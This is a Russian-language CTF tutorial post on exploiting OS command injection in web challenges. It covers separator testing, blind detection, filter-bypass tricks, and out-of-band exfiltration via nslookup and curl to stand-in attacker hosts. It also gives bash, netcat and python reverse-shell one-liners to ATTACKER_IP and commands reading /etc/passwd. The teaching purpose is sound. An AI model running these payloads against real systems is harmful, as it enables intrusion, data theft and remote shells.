
На позапрошлом CTF в категории web попалась задача уровня medium: форма «Ping Service», одно поле для IP-адреса, кнопка Check. Отправил 127.0.0.1 — стандартный вывод ping. Вбил 127.0.0.1; id — пусто, точку с запятой съел фильтр. 127.0.0.1 | id — тишина. Переключился на $(id) — и среди строк пинга проскочил uid=33(www-data). Двенадцать попыток, три минуты. От подтверждения инъекции до чтения флага — ещё четыре запроса в Burp Repeater.
Вот этот зазор между «знаю что такое command injection» и «стабильно эксплуатирую за минуты» — он и определяет, заберёт ли команда очки. Разберём методику поиска и эксплуатации OS command injection в CTF-задачах — от первых тестов до reverse shell через фильтры.
Command injection (CWE-78, Improper Neutralization of Special Elements used in an OS Command) — ситуация, когда приложение конструирует системную команду из пользовательского ввода без нейтрализации спецсимволов. По классификации CWE это дочерний тип CWE-77 (Command Injection) и CWE-74 (Injection), а через отношение CanAlsoBe связан с CWE-88 (Argument Injection) — когда та же уязвимость проявляется не вставкой новой команды, а подменой аргументов существующей. В OWASP Top 10 (2021) command injection входит в категорию A03 — Injection: «An application is vulnerable to injection when user-supplied data is not validated, filtered, or sanitized». Подробнее — в нашем материале про создание ctf заданий.
В CTF command injection — почти всегда веб-приложение, которое дёргает системную утилиту. Бэкенд берёт ввод пользователя и подставляет его в строку для system(), exec(), shell_exec(), os.popen(), subprocess.run() с shell=True или child_process.exec(). По MITRE ATT&CK это техника Exploit Public-Facing Application (T1190, Initial Access), а исполнение команд — Unix Shell (T1059.004, для Linux/macOS) или Windows Command Shell (T1059.003) в тактике Execution.
Классический пример уязвимого PHP-кода из курса HTB Academy:
<?php
if (isset($_GET['filename'])) {
system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>
Параметр filename подставляется в команду touch без экранирования. Значение test; cat /etc/passwd превращает команду в touch /tmp/test; cat /etc/passwd.pdf — исполняются обе.
Различие CWE-78 и CWE-88 критично для CTF. Если приложение использует escapeshellcmd() в PHP, оно может быть защищено от вставки новых команд, но остаётся уязвимым к argument injection. Пример из OWASP Command Injection Defense Cheat Sheet: system("curl " . escapeshellcmd($payload)) с payload dummy.txt -exec id ; при использовании с find позволяет исполнить id через аргумент -exec. На CTF, если фильтр экранирует разделители — проверяйте argument injection через -exec в find, --output в curl или --config в различных утилитах. Многие на этом месте сдаются, а зря.
CVE-2019-25224: уязвимость в плагине WP Database Backup для WordPress (версии до 5.2). Через функцию mysqldump неаутентифицированный атакующий мог исполнять произвольные команды. CVSS 9.8 (CRITICAL), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — сетевой доступ, низкая сложность, никаких привилегий. EPSS 0.2142 (97-й перцентиль — топ-3% по вероятности реальной эксплуатации). По данным CISA Vulnrichment, уязвимость автоматизируема (Automatable: yes) с полным техническим импактом (Technical Impact: total). Паттерн один в один — пользовательский ввод в системной команде без санитизации. То, что на CTF — задачка на очки, в продакшене — RCE с одного запроса.
Уязвимый функционал в CTF замаскирован под полезную утилиту. На что смотреть:
Из write-up RSM (EN-5): задача предлагала ввести строку для получения MD5-хеша. Трейлинг-дефис (-) после хеша выдал, что на бэкенде крутится утилита md5sum с пайпом от echo. Автор восстановил структуру команды (echo <input> | md5sum) и подобрал payload test; ls; для выполнения произвольной команды между echo и md5sum.
Обращайте внимание на артефакты: 64 bytes from → ping, дефис после hex-строки → md5sum, JPEG-заголовки → convert/ImageMagick. Эти мелочи — как отпечатки пальцев системной утилиты.
Перед сборкой сложных payload'ов нужно выяснить, какие разделители не фильтруются. На обеих ОС работают: &, &&, |, ||. Только для Unix: ;, перевод строки (%0a). Inline-подстановка: `cmd` и $(cmd).
Методика перебора:
127.0.0.1; echo XCANARYX, 127.0.0.1 | echo XCANARYX, 127.0.0.1 $(echo XCANARYX), 127.0.0.1 `echo XCANARYX`XCANARYX в ответе — нашли, разделитель работаетНюанс, на котором спотыкаются даже опытные игроки (из write-up к PortSwigger Labs, EN-4): в теле POST-запроса & нужно URL-кодировать как %26, иначе сервер интерпретирует его как разделитель параметров формы. Пробел — %20 или +, точка с запятой — %3b. Итоговый payload & echo test & в POST-запросе выглядит как host=%26%20echo%20test%20%26. Burp Suite кодирует автоматически в Repeater, но при работе с curl — кодируйте руками.
Задача: форма «Host check», POST на /api/ping, параметр host=127.0.0.1. Ответ — стандартный ping.
Шаг 1: подтверждение. В Burp Repeater отправляем host=127.0.0.1%3b+id (точка с запятой + id). Видим uid=33(www-data) — инъекция подтверждена.
Шаг 2: разведка. Последовательность команд после подтверждения:
- ls / → структура файловой системы (T1083, File and Directory Discovery)
- cat /etc/passwd → учётные записи (T1552.001, Credentials In Files)
- uname -a → версия ядра (T1082, System Information Discovery)
- find / -name "flag*" 2>/dev/null → поиск файла с флагом
- env | grep -i flag → проверка переменных окружения (часто флаг именно там)
Шаг 3: чтение флага. Когда файл найден — host=127.0.0.1%3b+cat+/home/ctf/flag.txt. Всего 4-6 запросов в Burp.
Не бросайтесь сразу к cat /flag.txt. В CTF флаг лежит в /root/, /opt/, /home/user/, в базе данных, в переменной окружения или вообще доступен только через интерактивную программу. Сначала разведка — потом чтение.
Blind-варианты встречаются чаще прямых — разработчики редко выводят stdout системных вызовов в HTTP-ответ. Пример: форма обратной связи, где введённый email попадает в команду mail — результат не возвращается клиенту. И вот тут начинается интересное.
Payload & ping -c 10 127.0.0.1 & вызовет задержку ~10 секунд. Если время ответа стабильно пропорционально количеству пакетов — инъекция подтверждена. Альтернатива: & sleep 5 &. Для Windows: ping -n 10 127.0.0.1 (флаг -n вместо -c).
Из write-up EN-4 — показательный момент: автор обнаружил, что для срабатывания задержки пришлось подставить & sleep 10 & одновременно в параметры email и subject — только один параметр не давал задержку. Мораль: перебирайте все поля формы, не только очевидные.
Запись в webroot. Если приложение отдаёт статические файлы из /var/www/images/ или /var/www/static/, перенаправьте вывод в файл: & whoami > /var/www/images/output.txt &. Затем запросите GET /images/output.txt. В write-up EN-4 автор использовал & whoami > /var/www/images/bubba & (полностью URL-закодированный как %26%20whoami%20%3E%20%2fvar%2fwww%2fimages%2fbubba%20%26) и получил username через запрос изображения. Просто и элегантно.
DNS-эксфильтрация. Когда записать файл нельзя (read-only filesystem):
& nslookup `whoami`.your-server.com & — результат whoami станет поддоменом в DNS-запросе. На своём сервере перехватите его через tcpdump -i eth0 port 53 или используйте interactsh от ProjectDiscovery.
HTTP-канал. & curl http://your-server:8080/`id` & — результат команды придёт в URL-путь запроса к вашему listener'у (python3 -m http.server 8080). Примечание: curl здесь используется для OOB-эксфильтрации данных (передача вывода команды через HTTP-запрос) — в GTFOBins curl задокументирован для download/upload/file-read/file-write/library-load, но не для reverse shell.
Типичный OOB-payload по YesWeHack (EN-1): curl "$(uname).attacker.com:9999" — hostname жертвы передаётся через DNS/HTTP на контролируемый сервер.
Задачи уровня medium и hard всегда содержат фильтры. Тут проверяется не знание payload'ов, а умение анализировать — что именно блокируется и как это обойти.
Если фильтр блокирует конкретные команды по точному совпадению строки:
Альтернативные команды. Вместо cat — head, tail, less, more, tac, nl, xxd, base64. Вместо ls — dir, find . -maxdepth 1, echo *. Вместо id — whoami, groups. Это первая линия обхода, и на удивление часто её хватает.
Обфускация кавычками и бэкслешами. Bash игнорирует одинарные и двойные кавычки внутри имени команды: w'h'o'am'i, w"h"o"am"i, \w\h\o\a\m\i — все три эквивалентны whoami. Фильтр с проверкой по точному совпадению их пропустит.
Конкатенация через переменные. a=who;b=ami;$a$b — bash собирает команду из частей. Фильтр не видит whoami как целую строку.
Base64. echo d2hvYW1p | base64 -d | bash — декодирует и исполняет. Утилита base64 есть почти на всех Linux-системах.
Реверс строки. $(rev<<<'imaohw') — переворачивает в whoami.
Если фильтр блокирует пробелы (0x20):
- ${IFS} — Internal Field Separator: cat${IFS}/etc/passwd
- Brace expansion: {cat,/etc/passwd} — bash раскроет в cat /etc/passwd
- Табуляция %09 — URL-кодированный tab вместо пробела
- Перенаправление ввода: cat</etc/passwd — оператор < не требует пробела
ANSI-C нотация — один из самых мощных приёмов, и про него мало кто помнит на соревнованиях. Описан в write-up к YesWeHack Dojo CTF #36 (RU-2): фильтр PreProd_Sanitize пропускал ввод без букв (re.search(r'[a-zA-Z_*^@%+=:,./-]', s) is None), но экранировал любой алфавитный символ. Автор использовал $'...'-синтаксис с восьмеричными escape-последовательностями. ls записывается как $'\154\163' — bash интерпретирует \154 как l и \163 как s. Работает в bash и zsh. В ash (BusyBox, Alpine Linux) поддержка $'...' зависит от сборки — нужен флаг CONFIG_ASH_BASH_COMPAT, который включён не во всех образах. Проверяйте эмпирически.
В том же write-up автор сначала обошёл авторизацию через SQL LIKE с payload %a% в параметре token — оператор % в LIKE работает как wildcard, совпадая с любой строкой. Это вернуло запись пользователя dev из базы и переключило приложение на уязвимую функцию санитизации. Двухступенчатая атака: broken access control + command injection для получения RCE. Красиво.
Hex-кодирование. bash<<<$(xxd -r -p<<<776861616d69) — аналогичный подход для обхода текстовых фильтров. Утилита xxd (из пакета vim) декодирует hex-строку в бинарные данные.
Wildcard'ы. Если фильтр блокирует конкретные пути: /???/??t /??c/p??s?? эквивалентно /bin/cat /etc/passwd. Вопросительный знак заменяет один произвольный символ. Выглядит как абракадабра, а работает.
Получение reverse shell — финальный этап эксплуатации, когда простого чтения файлов недостаточно (флаг доступен через интерактивную программу или требует повышения привилегий для T1005, Data from Local System).
# bash — самый распространённый вариант
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# netcat без -e — обходим через mkfifo
# В Debian/Ubuntu обычно стоит netcat-openbsd (без -e),
# в Alpine — busybox nc (тоже без -e). Проверяйте nc -h
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# python3 — когда нет ни bash, ни nc
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'
На стороне атакующего — listener: nc -lvnp 4444. После подключения — полноценный shell для разведки.
Нюансы для CTF-окружений: в минимальных Docker-контейнерах часто нет ни nc, ни curl. Python обычно присутствует. Через command injection весь payload нужно URL-кодировать — Burp Suite сделает это автоматически. Некоторые CTF-платформы блокируют исходящие соединения — тогда reverse shell не сработает, и придётся использовать запись в файл или OOB через DNS (через nslookup). После получения shell'а — find / -perm -4000 2>/dev/null (SUID-бинарники для privesc, техника T1505.003).
Commix — заточен под автоматическое обнаружение и эксплуатацию command injection. Поддерживает classic, blind (time-based) и file-based техники. Для быстрой проверки: commix --url="http://target/ping" --data="host=127.0.0.1". Не заменяет ручную работу, но экономит время на перебор разделителей.
Burp Suite Intruder — загрузите список payload'ов из PayloadsAllTheThings (раздел Command Injection) и прогоните все разделители за один прогон. В Repeater удобно отлаживать конкретные payload'ы.
PayloadsAllTheThings — open-source репозиторий с категоризированными payload'ами. Раздел Command Injection/README.md содержит разделители, обходы фильтров, reverse shell'ы с разделением по ОС. Держите его открытым во второй вкладке — пригодится.
Чеклист на задачу:
;, |, ||, &, &&, $(cmd), `cmd`, %0asleep 5 или ping -c 5 127.0.0.1id, ls /, find / -name "flag*" 2>/dev/null, env$IFS, base64, ANSI-C, wildcard'ыcat, head, base64 /path/to/flagПоловина CTF-задач на command injection решается на шаге 3. Другая половина — на шаге 7, где проверяется не знание payload'ов, а умение препарировать фильтр и подобрать обход.
Типичная ошибка, которую вижу на соревнованиях раз за разом: игроки видят форму с ping и сразу лезут в SQLi, потому что «injection = SQL injection». OS command injection — другой класс уязвимостей. Главный индикатор — поведение, похожее на вывод системной утилиты, а не на ответ базы данных. Если ответ содержит PING 127.0.0.1 (127.0.0.1): 56 data bytes или Name: example.com Address: 93.184.216.34 — это системная команда, и первым делом тестируйте разделители, а не ' OR 1=1--.
Второй промах — фокус на одном разделителе. Попробовали ; — не сработало — перешли к другой задаче. А нужно было попробовать |, $(cmd), обратные кавычки, %0a. Каждый фильтр ловит конкретные символы, и почти всегда один из вариантов проходит. На WAPT эту методику отрабатывают системно — два модуля с лабами на каждый тип обхода, от базовых разделителей до ANSI-C и double encoding.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...